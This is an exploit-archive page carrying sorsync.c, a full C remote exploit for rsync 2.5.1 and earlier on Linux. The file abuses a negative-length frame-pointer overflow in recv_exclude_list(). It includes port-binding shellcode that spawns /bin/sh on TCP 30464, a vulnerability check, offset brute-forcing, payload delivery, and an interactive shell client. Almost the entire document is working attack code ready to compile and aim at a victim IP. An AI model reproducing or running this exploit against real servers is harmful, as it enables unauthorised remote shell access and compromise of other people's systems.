what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sorsync.c

sorsync.c
Posted Nov 17, 2002
Authored by Sorbo

Remote exploit for rsync version 2.5.1 and below run on Linux. This exploit makes use of a simple frame pointer overflow.

tags | exploit, remote, overflow
systems | linux
SHA-256 | 6d22b5088d7fc52eb994bcfe37975d15f67800c96849738dce0efa68d5b1fe86

sorsync.c

Change Mirror Download
/*
* linux rsync <= 2.5.1 remote exploit by sorbo (sorbox@yahoo.com)
*
* this is a simple frame pointer overflow:
*
* in exclude.c in recv_exclude_list(), l is declared as int.
* we can pass a negative value for l and fool l >= MAXPATHLEN
* read_sbuf will in turn do a buf[len] = 0; (without performing any reads)
* we can modify read_sbuf's saved frame pointer by putting a 0 in the LSB.
* When read_sbuf exits the stack pointer will be set to the modified value
* we then pop a return address that lies on line[] where we can make it point to our shellcode
* ... quite simple =D
*
* NOTE: in configuration chroot must be false
*
* running: ./sorsync -b -v 127.0.0.1
* should work on any linux =D
*
*
* greetz:
* #darkircop@undernet
* kewlcat@efnet (for telling me about the bug)
* gunzip@ircnet (moral support =P )
*
*/


#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>



#define MAXPATHLEN 4095

int nopcount = 80;

char shellcode[] =
/* port bind tcp/30464 ***/
/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
"\x31\xc0" // xorl %eax,%eax
"\x31\xdb" // xorl %ebx,%ebx
"\x31\xc9" // xorl %ecx,%ecx
"\x31\xd2" // xorl %edx,%edx
"\xb0\x66" // movb $0x66,%al
"\xb3\x01" // movb $0x1,%bl
"\x51" // pushl %ecx
"\xb1\x06" // movb $0x6,%cl
"\x51" // pushl %ecx
"\xb1\x01" // movb $0x1,%cl
"\x51" // pushl %ecx
"\xb1\x02" // movb $0x2,%cl
"\x51" // pushl %ecx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xcd\x80" // int $0x80

/* port is 30464 !!! */
/* bind(fd, (struct sockaddr)&sin, sizeof(sin) ) */
"\xb3\x02" // movb $0x2,%bl
"\xb1\x02" // movb $0x2,%cl
"\x31\xc9" // xorl %ecx,%ecx
"\x51" // pushl %ecx
"\x51" // pushl %ecx
"\x51" // pushl %ecx
/* port = 0x77, change if needed */
"\x80\xc1\x77" // addb $0x77,%cl
"\x66\x51" // pushl %cx
"\xb1\x02" // movb $0x2,%cl
"\x66\x51" // pushw %cx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xb2\x10" // movb $0x10,%dl
"\x52" // pushl %edx
"\x51" // pushl %ecx
"\x50" // pushl %eax
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x89\xc2" // movl %eax,%edx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80

/* listen(fd, 1) */
"\xb3\x01" // movb $0x1,%bl
"\x53" // pushl %ebx
"\x52" // pushl %edx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x66" // movb $0x66,%al
"\x80\xc3\x03" // addb $0x3,%bl
"\xcd\x80" // int $0x80

/* cli = accept(fd, 0, 0) */
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x50" // pushl %eax
"\x52" // pushl %edx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xb3\x05" // movl $0x5,%bl
"\xb0\x66" // movl $0x66,%al
"\xcd\x80" // int $0x80

/* dup2(cli, 0) */
"\x89\xc3" // movl %eax,%ebx
"\x31\xc9" // xorl %ecx,%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80

/* dup2(cli, 1) */
"\x41" // inc %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movl $0x3f,%al
"\xcd\x80" // int $0x80

/* dup2(cli, 2) */
"\x41" // inc %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80

/* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
"\x31\xdb" // xorl %ebx,%ebx
"\x53" // pushl %ebx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x8d\x54\x24\x08" // leal 0x8(%esp),%edx
"\x31\xc9" // xorl %ecx,%ecx
"\x51" // pushl %ecx
"\x53" // pushl %ebx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80

/* exit(%ebx) */
"\x31\xc0" // xorl %eax,%eax
"\xb0\x01" // movb $0x1,%al
"\xcd\x80"; // int $0x80

struct sockaddr_in s_in;
char module[256]; /* module to use */


void die(int p, char *m) {
if(p)
perror(m);
else
printf("%s\n",m);
exit(0);
}


/* check if data is avaliable to be read */
int checkData(int s) {
int rd;
fd_set rfds;
struct timeval tv;

FD_ZERO(&rfds);
FD_SET(s, &rfds);

tv.tv_sec = 5;
tv.tv_usec = 0;


rd = select(s+1,&rfds,NULL,NULL,&tv);
if(rd < 0)
die(1,"select()");
return rd;
}


/* get data from server with timeout */
void get(int s) {
char buff[1024];
int rd;

while(1) {
rd = checkData(s);
if(rd == 0)
return;

rd = recv(s,buff,sizeof(buff),0);
if(!rd)
return;

if(rd == -1)
die(1,"recv()");
}
}


/*
* connects, gets version string and replies with same version
*
*/
int connect_and_version() {
int rd;
char buff[80];

int s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s < 0)
die(1,"socket()");

if(connect(s,(struct sockaddr*)&s_in,sizeof(s_in)) < 0)
die(1,"connect()");


/* get version and send same ver */
if( (rd = recv(s,buff,sizeof(buff),0)) < 1)
die(1,"recv()");
send(s,buff,rd,0);

return s;
}

/* send module and other stuff untill we arrive to recv_exclude_list() */
void login(int s) {
char buff[80];

/* send module name */
snprintf(buff,sizeof(buff),"%s\n",module);
send(s,buff,strlen(buff),0);

/* send stuff to get to recv_exclude_list() */
send(s,"--server\n",9,0);
send(s,"--sender\n",9,0);
send(s,"\n",1,0);

}

/* try to connect to the shell */
void ride() {
fd_set rfds;
int rd;
int s;
struct sockaddr_in s_in2;
char buff[1024];

memcpy(&s_in2,&s_in,sizeof(s_in2));
s_in2.sin_port = htons(30464);

s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s < 0)
die(1,"socket()");

if(connect(s,(struct sockaddr *)&s_in2,sizeof(s_in2)) < 0) {
close(s);
return; /* failed */
}


/* successs */
send(s,"id;\n",4,0);

while(1) {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(s, &rfds);

if(select(s+1, &rfds, NULL, NULL, NULL) < 1)
exit(0);

if(FD_ISSET(0,&rfds)) {
if( (rd = read(0,buff,sizeof(buff))) < 1)
exit(0);
if( send(s,buff,rd,0) != rd)
exit(0);

}
if(FD_ISSET(s,&rfds)) {
if( (rd = recv(s,buff,sizeof(buff),0)) < 1)
exit(0);
write(1,buff,rd);
}
}
}


/* do the actual overflow
*
* len is the len that makes line[len] point to read_sbuf's LSB of the saved FP
* line is the address of the line buffer
*
*/
void doOverflow(int len, int line,int align) {
int s,rd;
int *ptr;
char buff[MAXPATHLEN];

s = connect_and_version();
login(s);

printf("Trying with len=%d and line=0x%x (shellcode=0x%x) align=%d\n",len,line,line+abs(len),align);

memset(buff,'A',align);

/* prepare egg and send it */
for(ptr = (int*) (&buff[0]+align); (char*)ptr < ((char*)&buff[MAXPATHLEN]-3); ptr++)
*ptr = (line+abs(len));
memset(buff+abs(len),'\x90',nopcount);
memcpy(buff+abs(len)+nopcount,shellcode,strlen(shellcode)); /* possible overflow ;D */

/* prepare and send length */
rd = MAXPATHLEN -1;
send(s,&rd,sizeof(rd),0);

/* send egg */
send(s,buff,rd,0);


/* send len (overwrite fp */
send(s,&len,sizeof(len),0);


/* make recv_exclude_list() exit */
rd = 0;
send(s,&rd,sizeof(rd),0);


/* recieve any data from server and close */
get(s);

close(s);

/* check if exploitation was successfull */
ride();
}


/* gets a module name */
void getModule() {
int s,rd;
char mod[256];
char *ptr;

/* connect and get initial data */
s = connect_and_version();
get(s);

/* list and get modules */
send(s,"#list\n",6,0);
rd = recv(s,mod,sizeof(mod),0);
if(rd < 1)
die(1,"recv()");

mod[rd] = 0;
ptr = (char*)strchr(mod,' ');
if(!ptr)
return;
*ptr = 0;

snprintf(module,sizeof(module),"%s",mod);
if(module[0] == '@')
die(0,"No modules!!!");

close(s);
}

void usage(char *p) {
printf("Linux rsync <= 2.5.1 remote exploit by sorbo (sorbox@yahoo.com)\n");
printf("Usage: %s <opts>\n",p);

printf("-h this lame message\n");
printf("-v victim ip\n");
printf("-m module name\n");
printf("-l len\n");
printf("-s line address\n");
printf("-b bruteforce\n");
printf("-f force:don't check vuln\n");
printf("-n number of NOPS\n");
printf("-a align\n");
exit(0);
}


/* check if vuln */
int checkVuln() {
int s,rd;

s = connect_and_version();
login(s);
get(s);

/* check for overflow */
rd = -1;
send(s,&rd,sizeof(rd),0);

/* now it either sends an overflow message
* (thus being not vuln )
* or it waits for input ... vuln
*/
if(!checkData(s))
return 1;

close(s);
return 0;
}



/* gets len variable
* it does so by seeing where ret addr of read_sbuf is
* it knows it overwrote the addr because the program will crash
* the fp will therefore be a word lower than the ret addr
*
*/
int getLen(int len) {
int s;

s = connect_and_version();
login(s);
get(s);

while(1) {
printf("Trying len %d...\n",len);
send(s,&len,sizeof(len),0);
if(checkData(s)) {
close(s);
return len-4;
}
len-=4;
}
}


int main(int argc, char *argv[]) {
int opt;
int m = 0;
int len = -4;
int line = 0xC0000000;
int check = 1;
int brute = 0; /* bruteforce ;D */
int l = 1;
int align = 0;

if(argc < 2)
usage(argv[0]);

while( (opt = getopt(argc,argv,"v:hm:l:s:bfn:a:")) != -1) {
switch(opt) {
case 'v':
s_in.sin_addr.s_addr = inet_addr(optarg);
break;

case 'm':
snprintf(module,sizeof(module),"%s",optarg);
m++;
break;

case 'l':
l = 0;
len = atoi(optarg);
break;

case 's':
if(sscanf(optarg,"%x",&line) == -1) {
printf("Invalid line address\n");
exit(0);
}
break;

case 'b':
brute = 1;
break;

case 'f':
check = 0;
break;

case 'n':
nopcount = atoi(optarg);
break;


case 'a':
align = atoi(optarg);
break;

case 'h':
default:
usage(argv[0]);
}
}

s_in.sin_family = PF_INET;
s_in.sin_port = htons(873);


if(!m) {
printf("Getting module name...\n");
getModule();
printf("Module=%s\n",module);
}

if(check) {
printf("Checking if vuln...\n");
if(checkVuln())
printf("Vuln!!\n");
else {
printf("Not vuln =(\n");
exit(0);
}
}

if(l) {
len = getLen(len);
printf("len=%d\n",len);
}

if(brute) {
while(1) {
doOverflow(len,line,align);
line -= (nopcount-1);
}
}

doOverflow(len,line,align);
exit(0);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close